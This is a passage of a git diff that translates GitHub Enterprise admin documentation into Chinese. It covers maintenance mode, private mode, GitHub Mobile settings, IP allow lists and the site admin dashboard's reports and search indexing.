例外列表,{% data variables.product.product_location %} 将恢复正常操作。 -You can also use a command-line utility to configure the IP exception list. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-maintenance)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." +还可以使用命令行实用程序配置 IP 异常列表。 有关详细信息,请参阅“[命令行实用程序](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-maintenance)”和“[访问管理 shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)”。 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**, and confirm maintenance mode is already enabled. - ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png) -1. Select **Enable IP exception list**. - ![Checkbox for enabling ip exception list](/assets/images/enterprise/maintenance/enable-ip-exception-list.png) -1. In the text box, type a valid list of space-separated IP addresses or CIDR blocks that should be allowed to access {% data variables.location.product_location %}. - ![completed field for IP addresses](/assets/images/enterprise/maintenance/ip-exception-list-ip-addresses.png) -1. Click **Save**. -![after IP excetpion list has saved](/assets/images/enterprise/maintenance/ip-exception-save.png) +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +1. 在 {% data variables.enterprise.management_console %} 顶部,单击“维护”,并确认已启用维护模式。 + ![“维护”选项卡](/assets/images/enterprise/management-console/maintenance-tab.png) +1. 选择“启用 IP 例外列表”。 + ![“启用 IP 例外列表”复选框](/assets/images/enterprise/maintenance/enable-ip-exception-list.png) +1. 在文本框中,键入应允许访问 {% data variables.product.product_location %} 的以空格分隔的 IP 地址或 CIDR 块的有效列表。 + ![IP 地址的已完成字段](/assets/images/enterprise/maintenance/ip-exception-list-ip-addresses.png) +1. 单击“ **保存**”。 +![保存 IP 例外列表后](/assets/images/enterprise/maintenance/ip-exception-save.png) {% endif %} -## Scheduling maintenance mode with the {% data variables.product.prodname_enterprise_api %} +## 通过 {% data variables.product.prodname_enterprise_api %} 排定维护模式 -You can schedule maintenance for different times or dates with the {% data variables.product.prodname_enterprise_api %}. For more information, see "[Management Console](/enterprise/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)." +您可以通过 {% data variables.product.prodname_enterprise_api %} 排定在其他时间或日期进行维护。 有关详细信息,请参阅“[管理控制台](/enterprise/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)”。 -## Enabling or disabling maintenance mode for all nodes in a cluster +## 为集群中的所有节点启用或禁用维护模式 -With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster. +使用 `ghe-cluster-maintenance` 实用工具,可以为群集中的每个节点设置或取消设置维护模式。 ```shell $ ghe-cluster-maintenance -h diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md index e0f3bb8c8f..26078be865 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md @@ -1,6 +1,6 @@ --- -title: Enabling private mode -intro: 'In private mode, {% data variables.product.prodname_ghe_server %} requires every user to sign in to access the installation.' +title: 启用私有模式 +intro: '在私有模式下,{% data variables.product.prodname_ghe_server %} 要求每个用户必须登录才能访问安装。' redirect_from: - /enterprise/admin/articles/private-mode - /enterprise/admin/guides/installation/security @@ -20,16 +20,19 @@ topics: - Networking - Privacy - Security +ms.openlocfilehash: 99488886b1da5b07c2ddb5d7054c10957f6c573b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332782' --- -You must enable private mode if {% data variables.location.product_location %} is publicly accessible over the Internet. In private mode, users cannot anonymously clone repositories over `git://`. If built-in authentication is also enabled, an administrator must invite new users to create an account on the instance. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)." +如果 {% data variables.product.product_location %} 可通过 Internet 公开访问,就必须启用私密模式。 在私密模式下,用户不能通过 `git://` 匿名克隆存储库。 如果还启用了内置身份验证,管理员必须邀请新用户在实例上创建帐户。 有关详细信息,请参阅“[配置内置身份验证](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)”。 {% data reusables.enterprise_installation.image-urls-viewable-warning %} -With private mode enabled, you can allow unauthenticated Git operations (and anyone with network access to {% data variables.location.product_location %}) to read a public repository's code on your instance with anonymous Git read access enabled. For more information, see "[Allowing admins to enable anonymous Git read access to public repositories](/enterprise/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)." +启用私密模式后,可以允许未验证的 Git 操作(以及对 {% data variables.product.product_location %} 具有网络访问权限的任何人)读取已启用匿名 Git 读取权限的实例上的公共存储库代码。 有关详细信息,请参阅“[允许管理员启用对公共存储库的匿名 Git 读取访问](/enterprise/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)”。 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -4. Select **Private mode**. - ![Checkbox for enabling private mode](/assets/images/enterprise/management-console/private-mode-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} +4. 选择“私密模式”。 + ![启用私密模式的复选框](/assets/images/enterprise/management-console/private-mode-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md index d288949214..a43eb8daa2 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Managing GitHub Mobile for your enterprise -intro: 'You can decide whether people can use {% data variables.product.prodname_mobile %} to connect to {% data variables.location.product_location %}.' +title: 管理企业的 GitHub Mobile +intro: '可以决定用户是否可以使用 {% data variables.product.prodname_mobile %} 连接到 {% data variables.product.product_location %}。' permissions: 'Enterprise owners can manage {% data variables.product.prodname_mobile %} for a {% data variables.product.product_name %} instance.' versions: ghes: '*' @@ -12,29 +12,29 @@ redirect_from: - /admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise - /admin/configuration/managing-github-for-mobile-for-your-enterprise shortTitle: Manage GitHub Mobile +ms.openlocfilehash: f46673c16611a7f1ced6d0476c6ad3d79807f6d9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062264' --- +## 关于 {% data variables.product.prodname_mobile %} -## About {% data variables.product.prodname_mobile %} +在身份验证成功后,借助 {% data variables.product.prodname_mobile %} 可从移动设备会审、协作和管理 {% data variables.product.product_location %} 上的工作。 {% data reusables.mobile.about-mobile %}有关详细信息,请参阅“[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)”。 -{% data variables.product.prodname_mobile %} allows people to triage, collaborate, and manage work on {% data variables.location.product_location %} from a mobile device after successful authentication. {% data reusables.mobile.about-mobile %} For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)." +可允许或禁止用户使用 {% data variables.product.prodname_mobile %} 向 {% data variables.product.product_location %} 进行身份验证并访问实例的数据。 默认情况下,{% data variables.product.prodname_mobile %} {% ifversion ghes > 3.3 %}为使用 {% data variables.product.product_location %} 的用户启用。{% else %}不为使用 {% data variables.product.product_location %} 的用户启用。 若要允许使用 {% data variables.product.prodname_mobile %} 连接到实例,必须为实例启用该功能。{% endif %} -You can allow or disallow people from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.location.product_location %} and access your instance's data. By default, {% data variables.product.prodname_mobile %} is{% ifversion ghes > 3.3 %} enabled for people who use {% data variables.location.product_location %}.{% else %} not enabled for people who use {% data variables.location.product_location %}. To allow connection to your instance with {% data variables.product.prodname_mobile %}, you must enable the feature for your instance.{% endif %} +{% ifversion ghes < 3.6 %} {% note %} -{% ifversion ghes < 3.6 %} -{% note %} +注意:如果升级到 {% data variables.product.prodname_ghe_server %} 3.4.0 或更高版本,并且以前未禁用或启用 {% data variables.product.prodname_mobile %},则默认情况下将启用 {% data variables.product.prodname_mobile %}。 如果以前为实例禁用或启用了 {% data variables.product.prodname_mobile %},则升级后将保留首选项。 有关升级实例的详细信息,请参阅“[升级 {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 -**Note:** If you upgrade to {% data variables.product.prodname_ghe_server %} 3.4.0 or later and have not previously disabled or enabled {% data variables.product.prodname_mobile %}, {% data variables.product.prodname_mobile %} will be enabled by default. If you previously disabled or enabled {% data variables.product.prodname_mobile %} for your instance, your preference will be preserved upon upgrade. For more information about upgrading your instance, see "[Upgrading {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." +{% endnote %} {% endif %} -{% endnote %} -{% endif %} +## 启用或禁用 {% data variables.product.prodname_mobile %} -## Enabling or disabling {% data variables.product.prodname_mobile %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -1. In the left sidebar, click **Mobile**. - !["Mobile" in the left sidebar for the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/click-mobile.png) -1. Under "GitHub Mobile", select or deselect **Enable GitHub Mobile Apps**. - ![Checkbox for "Enable GitHub Mobile Apps" in the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} +1. 在左边栏中,单击“移动”。 + ![{% data variables.product.prodname_ghe_server %} 管理控制台左边栏中的“移动”](/assets/images/enterprise/management-console/click-mobile.png) +1. 在“GitHub Mobile”下,选择或取消选择“启用 GitHub Mobile 应用”。 + ![{% data variables.product.prodname_ghe_server %} 管理控制台中的“启用 GitHub Mobile 应用”复选框](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md new file mode 100644 index 0000000000..906d691261 --- /dev/null +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md @@ -0,0 +1,63 @@ +--- +title: 限制到企业的网络流量 +shortTitle: Restricting network traffic +intro: 您可以使用 IP 允许列表将企业访问权限限制为来自指定 IP 地址的连接。 +versions: + ghae: '*' +type: how_to +topics: +- Access management +- Enterprise +- Fundamentals +- Networking +- Security +redirect_from: +- /admin/configuration/restricting-network-traffic-to-your-enterprise +ms.openlocfilehash: 4172596d7907cd7aab809d34cf5953eec3956329 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100063" +--- +## 关于 IP 允许列表 + +默认情况下,授权用户可以从任何 IP 地址访问您的企业。 企业所有者可以通过为特定 IP 地址配置允许列表,来限制对企业帐户中组织拥有的资产的访问。 {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} + +{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} + +{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} + +您还可以为单个组织配置允许的 IP 地址。 有关详细信息,请参阅“[为组织管理允许的 IP 地址](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)”。 + +默认情况下,Azure 网络安全组 (NSG) 规则允许所有入站流量在端口 22、80、443 和 25 打开。 企业所有者可以联系 {% data variables.contact.github_support %} 配置您实例的访问限制。 + +对于使用 Azure NSG 的实例级限制,请联系 {% data variables.contact.github_support %} 以获取应允许访问您的企业实例的 IP 地址。 使用标准 CIDR(无类域间路由)格式指定地址范围。 {% data variables.contact.github_support %} 将为您的企业配置合适的防火墙规则,以限制 HTTP、SSH、HTTPS 和 SMTP 网络访问。 有关详细信息,请参阅“[从 {% data variables.contact.github_support %} 获得帮助](/admin/enterprise-support/receiving-help-from-github-support)”。 + +## 添加允许的 IP 地址 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} {% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} {% data reusables.identity-and-permissions.ip-allow-lists-add-description %} {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} + +## 允许 {% data variables.product.prodname_github_apps %} 访问 + +{% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %} + +## 启用允许的 IP 地址 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} +1. 在“IP 允许列表”下,选择“启用 IP 允许列表”。 + ![允许 IP 地址的复选框](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png) +4. 单击“ **保存**”。 + +## 编辑允许的 IP 地址 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} +8. 单击“更新”。 + +## 删除允许的 IP 地址 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} + +## 对 {% data variables.product.prodname_actions %} 使用 IP 允许列表 + +{% data reusables.actions.ip-allow-list-self-hosted-runners %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md index 7d3c7e3665..728a19c780 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md @@ -1,5 +1,5 @@ --- -title: Site admin dashboard +title: 站点管理员仪表板 intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}' redirect_from: - /enterprise/admin/articles/site-admin-dashboard @@ -13,173 +13,174 @@ type: reference topics: - Enterprise - Fundamentals +ms.openlocfilehash: aacf1705ce0f520dc740bc3bc19c7e280f30abfd +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '146332062' --- -To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}. -![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +要访问仪表板,请在任意页面右上角单击 {% octicon "rocket" aria-label="The rocket ship" %}。 +![用于访问站点管理员设置的火箭图标](/assets/images/enterprise/site-admin-settings/access-new-settings.png) {% ifversion ghes or ghae %} -## Search +## 搜索 -Refer to this section of the site admin dashboard to search for users and repositories, and to query the [audit log](#audit-log). +请参阅站点管理员仪表板的此部分搜索用户和存储库,并查询[审核日志](#audit-log)。 {% else %} -## License info & search +## 许可证信息和搜索 -Refer to this section of the site admin dashboard to check your current {% data variables.product.prodname_enterprise %} license; to search for users and repositories; and to query the [audit log](#audit-log). +请参照站点管理员仪表板的此部分检查当前的 {% data variables.product.prodname_enterprise %} 许可;搜索用户和存储库;查询[审核日志](#audit-log)。 +{% endif %} {% ifversion ghes %} +## {% data variables.enterprise.management_console %} + +您可以在此处启动 {% data variables.enterprise.management_console %},以管理域、身份验证和 SSL 等虚拟设备设置。 {% endif %} -{% ifversion ghes %} -## {% data variables.enterprise.management_console %} +## 探究 -Here you can launch the {% data variables.enterprise.management_console %} to manage virtual appliance settings such as the domain, authentication, and SSL. -{% endif %} -## Explore +将按每天、每周和每月的时间跨度为存储库和开发者计算 GitHub [趋势页][]中的数据。 在“浏览”部分中,可以看到此数据的最后缓存时间,并将新的趋势计算作业加入队列。 -Data for GitHub's [trending page][] is calculated into daily, weekly, and monthly time spans for both repositories and developers. You can see when this data was last cached and queue up new trending calculation jobs from the **Explore** section. + [趋势页]: https://github.com/blog/1585-explore-what-is-trending-on-github - [trending page]: https://github.com/blog/1585-explore-what-is-trending-on-github +## 审核日志 -## Audit log +{% data variables.product.product_name %} 会实时记录你可以查询的审核操作。 -{% data variables.product.product_name %} keeps a running log of audited actions that you can query. +默认情况下,审核日志会按时间倒序显示所有已审核操作的列表。 要对此列表进行筛选,可以在“查询”文本框中输入键值对,然后单击“搜索”,如“[搜索企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)”所述 。 -By default, the audit log shows you a list of all audited actions in reverse chronological order. You can filter this list by entering key-value pairs in the **Query** text box and then clicking **Search**, as explained in "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)." +有关审核日志记录的详细信息,请参阅“[关于企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)”。 有关受审核操作的完整列表,请参阅“[审核企业的日志事件](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)”。 -For more information on audit logging in general, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)." For a full list of audited actions, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)." +## 报表 -## Reports +如果需要获取关于 {% data variables.product.product_location %} 中用户、组织和存储库的信息,正常情况下,可通过 [GitHub API](/rest) 提取 JSON 数据。 但遗憾的是,此 API 可能无法提供您需要的所有数据,并且需要一定的专业技术知识才能使用。 站点管理员仪表板提供“报表”部分来代替,使你可以轻松下载 CSV 报告,其中包含大部分你可能需要的用于用户、组织和存储库的信息。 -If you need to get information on the users, organizations, and repositories in {% data variables.location.product_location %}, you would ordinarily fetch JSON data through the [GitHub API](/rest). Unfortunately, the API may not provide all of the data that you want and it requires a bit of technical expertise to use. The site admin dashboard offers a **Reports** section as an alternative, making it easy for you to download CSV reports with most of the information that you are likely to need for users, organizations, and repositories. +具体来讲,您可以下载列出以下信息的 CSV 报告: -Specifically, you can download CSV reports that list +- 所有用户 +- 所有活跃用户 +- 所有[休眠用户](/admin/user-management/managing-dormant-users) +- 曾被挂起的所有用户 +- 所有组织 +- 所有仓库 -- all users -- all active users -- all [dormant users](/admin/user-management/managing-dormant-users) -- all users who have been suspended -- all organizations -- all repositories +您还可以通过向站点管理员帐户进行标准 HTTP 身份验证,以编程方式访问这些报告。 必须使用具有 `site_admin` 作用域的个人访问令牌。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 -You can also access these reports programmatically via standard HTTP authentication with a site admin account. You must use a {% data variables.product.pat_v1 %} with the `site_admin` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." - -For example, here is how you would download the "all users" report using cURL: +下面是如何使用 cURL 下载“所有用户”报告的示例: ```shell -curl -L -u USERNAME:TOKEN http(s)://HOSTNAME/stafftools/reports/all_users.csv +curl -L -u username:token http(s)://hostname/stafftools/reports/all_users.csv ``` -To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`. +若要以编程方式访问其他报告,请将 `all_users` 替换为 `active_users`、`dormant_users`、`suspended_users`、`all_organizations` 或 `all_repositories`。 {% note %} -**Note:** The initial `curl` request will return a 202 HTTP response if there are no cached reports available; a report will be generated in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password. +注意:如果没有可用的缓存报告,最初的 `curl` 请求会返回 202 HTTP 响应;将在后台生成报告。 您可以发送另一个请求来下载报告。 可以使用作用域为 `site_admin` 的密码或 OAuth 令牌代替密码。 {% endnote %} -### User reports +### 用户报告 -Key | Description +密钥 | 说明 -----------------:| ------------------------------------------------------------ -`created_at` | When the user account was created (as an ISO 8601 timestamp) -`id` | Account ID for the user or organization -`login` | Account's login name -`email` | Account's primary email address -`role` | Whether the account is an admin or an ordinary user -`suspended?` | Whether the account has been suspended -`last_logged_ip` | Most recent IP address to log into the account -`repos` | Number of repositories owned by the account -`ssh_keys` | Number of SSH keys registered to the account -`org_memberships` | Number of organizations to which the account belongs -`dormant?` | Whether the account is dormant -`last_active` | When the account was last active (as an ISO 8601 timestamp) -`raw_login` | Raw login information (in JSON format) -`2fa_enabled?` | Whether the user has enabled two-factor authentication +`created_at` | 用户帐户的创建时间(ISO 8601 时间戳形式) +`id` | 用户或组织的帐户 ID +`login` | 帐户的登录名称 +`email` | 帐户的主电子邮件地址 +`role` | 帐户属于管理员还是普通用户 +`suspended?` | 帐户是否已挂起 +`last_logged_ip` | 最近登录帐户的 IP 地址 +`repos` | 帐户拥有的仓库数量 +`ssh_keys` | 注册到帐户的 SSH 密钥数量 +`org_memberships` | 帐户所属的组织数量 +`dormant?` | 帐户是否休眠 +`last_active` | 帐户上次活动时间(ISO 8601 时间戳形式) +`raw_login` | 原始登录信息(JSON 格式) +`2fa_enabled?` | 用户是否已启用双重身份验证 -### Organization reports +### 组织报告 -Key | Description +密钥 | 说明 --------------:| ------------------------------------ -`id` | Organization ID -`created_at` | When the organization was created -`login` | Organization's login name -`email` | Organization's primary email address -`owners` | Number of organization owners -`members` | Number of organization members -`teams` | Number of organization teams -`repos` | Number of organization repositories -`2fa_required?`| Whether the organization requires two-factor authentication +`id` | 组织 ID +`created_at` | 组织创建时间 +`login` | 组织的登录名称 +`email` | 组织的主电子邮件地址 +`owners` | 组织所有者数量 +`members` | 组织成员数量 +`teams` | 组织团队数量 +`repos` | 组织仓库数量 +`2fa_required?`| 组织是否需要双重身份验证 -### Repository reports +### 仓库报告 -Key | Description +密钥 | 说明 ---------------:| ------------------------------------------------------------ -`created_at` | When the repository was created -`owner_id` | ID of the repository's owner -`owner_type` | Whether the repository is owned by a user or an organization -`owner_name` | Name of the repository's owner -`id` | Repository ID -`name` | Repository name -`visibility` | Whether the repository is public or private -`readable_size` | Repository's size in a human-readable format -`raw_size` | Repository's size as a number -`collaborators` | Number of repository collaborators -`fork?` | Whether the repository is a fork -`deleted?` | Whether the repository has been deleted +`created_at` | 仓库创建时间 +`owner_id` | 仓库所有者的 ID +`owner_type` | 仓库由用户所有还是由组织所有 +`owner_name` | 仓库所有者的名称 +`id` | 仓库 ID +`name` | 存储库名称 +`visibility` | 仓库是公共还是私有 +`readable_size` | 以人类可读格式表示的仓库大小 +`raw_size` | 以数字形式表示的仓库大小 +`collaborators` | 仓库协作者数量 +`fork?` | 仓库是否为分叉 +`deleted?` | 仓库是否已删除 {% ifversion ghes %} -## Indexing +## 索引 -GitHub's search features are powered by Elasticsearch. This section of the site admin dashboard shows you the current status of your Elasticsearch cluster and provides you with several tools to control search and index behavior. +GitHub 的[代码搜索][]功能由 [ElasticSearch][] 提供支持。 站点管理员仪表板的这一部分会显示 ElasticSearch 集群的当前状态,并提供多种工具来控制搜索和索引行为。 这些工具分为以下三类。 -For more information about code search, see "[Searching for information on {% data variables.product.prodname_dotcom %}](/search-github)." For more information about Elasticsearch, see the [Elasticsearch website](https://elastic.co). + [代码搜索]: https://github.com/blog/1381-a-whole-new-code-search + [ElasticSearch]: http://www.elasticsearch.org/ -{% note %} +### 代码搜索 -**Note**: In normal use, site administrators do not need to create new indices or schedule repair jobs. For troubleshooting or other support purposes, {% data variables.contact.github_support %} may instruct you to run a repair job. +此类允许您启用或禁用对源代码进行的搜索和索引操作。 -{% endnote %} +### 代码搜索索引修复 -### Index management +此类控制着代码搜索索引的修复方式。 可以 -{% data variables.product.product_name %} reconciles the state of the search index with data on the instance automatically and regularly. +- 启用或禁用索引修复作业 +- 开始新的索引修复作业 +- 重置所有索引修复状态 -- Issues, pull requests, repositories, and users in the database -- Git repositories (source code) on disk +{% data variables.product.prodname_enterprise %} 使用修复作业协调搜索索引的状态与数据库中存储的数据(问题、拉取请求、仓库和用户)以及 Git 仓库中存储的数据(源代码)。 发生条件 -Your instance uses repair jobs to reconcile the data, and schedules a repair job in the background when the following events occur. +- 创建新的搜索索引; +- 需要重新填入缺失的数据;或者 +- 需要更新旧的搜索数据。 -- A new search index is created. -- Missing data needs to be backfilled. -- Old search data needs to be updated. +也就是说,修复作业是根据需要启动的,并在后台运行,而不是站点管理员通过任何方式排定的。 -You can create a new index, or you can click on an existing index in the list to manage the index. You can perform the following operations on an index. +此外,修复作业还使用“修复偏移”实现并行化。 偏移是指协调的记录在数据库表中的偏移。 多个后台作业可以基于此偏移同步工作。 -- Make the index searchable. -- Make the index writable. -- Update the index. -- Delete the index -- Reset the index repair state. -- Start a new index repair job. -- Enable or disable index repair jobs. +进度条会在所有后台工作进程中显示修复作业的当前状态。 此值是修复偏移与数据中最高记录 ID 的百分比差异。 不用担心修复作业完成后在进度条中显示的值:因为它表示的是修复偏移与数据库中最高记录 ID 之差,随着更多的存储库添加到 {% data variables.product.product_location %} 中,此值会减小,即使这些存储库实际上已编制索引。 -A progress bar shows the current status of a repair job across background workers. The bar is the percentage difference of the repair offset with the highest record ID in the database. You can ignore the value shown in the progress bar after a repair job has completed. The progress bar shows the difference between the repair offset and the highest record ID in the database, and will decrease as more repositories are added to {% data variables.location.product_location %} even though those repositories are actually indexed. +您可以随时启动新的代码搜索索引修复作业。 在协调搜索索引与数据库和 Git 仓库数据时,它将使用单个 CPU。 为了最大限度地减小对 I/O 性能的影响并减小操作超时的几率,请先尝试在非高峰期运行修复作业。 使用 `top` 等实用程序监视系统的平均负载和 CPU 利用率;如果未发现任何显著的变化,那么在高峰期运行索引修复作业也应当是安全的。 -To minimize the effects on I/O performance and reduce the chances of operations timing out, run the repair job during off-peak hours. As the job reconciles the search index with database and Git repository data, one CPU will be used. Monitor your system's load averages and CPU usage with a utility like `top`. If you don't notice any significant increase in resource consumption, it should also be safe to run an index repair job during peak hours. +### 问题索引修复 -Repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset. +这会控制[问题][]索引的修复方式。 可以 -### Code search + [问题]: https://github.com/blog/831-issues-2-0-the-next-generation -This allows you to enable or disable both search and index operations on source code. +- 启用或禁用索引修复作业 +- 开始新的索引修复作业 +- 重置所有索引修复状态 {% endif %} +## 保留的登录名 -{% endif %} -## Reserved logins +某些词是保留给内部使用的 {% data variables.product.product_location %},这意味着这些词不能用作用户名。 -Certain words are reserved for internal use in {% data variables.location.product_location %}, which means that these words cannot be used as usernames. - -For example, the following words are reserved, among others: +例如,保留以下词语,包括: - `admin` - `enterprise` @@ -187,63 +188,58 @@ For example, the following words are reserved, among others: - `staff` - `support` -For the full list or reserved words, navigate to "Reserved logins" in the site admin dashboard. +对于完整列表或保留词,导航到站点管理面板中的“保留的登录名”。 {% ifversion ghas-committers-calculator %} -## {% data variables.product.prodname_advanced_security %} Committers +## {% data variables.product.prodname_advanced_security %} 提交者 -You can see the number of active committers that are currently using seats for {% data variables.product.prodname_GH_advanced_security %}, and you can calculate how many additional seats would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for more organizations and repositories. +可以查看当前使用 {% data variables.product.prodname_GH_advanced_security %} 席位的活动提交者数量,并且可以计算如果为更多的组织和存储库启用 {% data variables.product.prodname_GH_advanced_security %} 会使用多少额外席位。 -Under "Current active committer count", you can see the number of active committers for repositories with {% data variables.product.prodname_GH_advanced_security %} enabled. This is the number of licensed seats that are currently being used. +在“当前活动提交者计数”下,可以查看启用了 {% data variables.product.prodname_GH_advanced_security %} 的存储库的活动提交者数量。 这是当前正在使用的许可席位数。 -Under "Maximum committers across entire instance", you can see the number of active committers across all the repositories in your enterprise. This is the number of seats that would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for every repository in your enterprise. +在“跨整个实例的最大提交者”下,可以看到企业中所有存储库的活动提交者数。 如果为企业中的每个存储库启用了 {% data variables.product.prodname_GH_advanced_security %},这是将使用的席位数。 -Under "Calculate Additional Advanced Committers", you can calculate how many more additional seats will be used if you enable {% data variables.product.prodname_GH_advanced_security %} for specific organizations and repositories. Under "Organizations and Repositories", enter or paste a list of 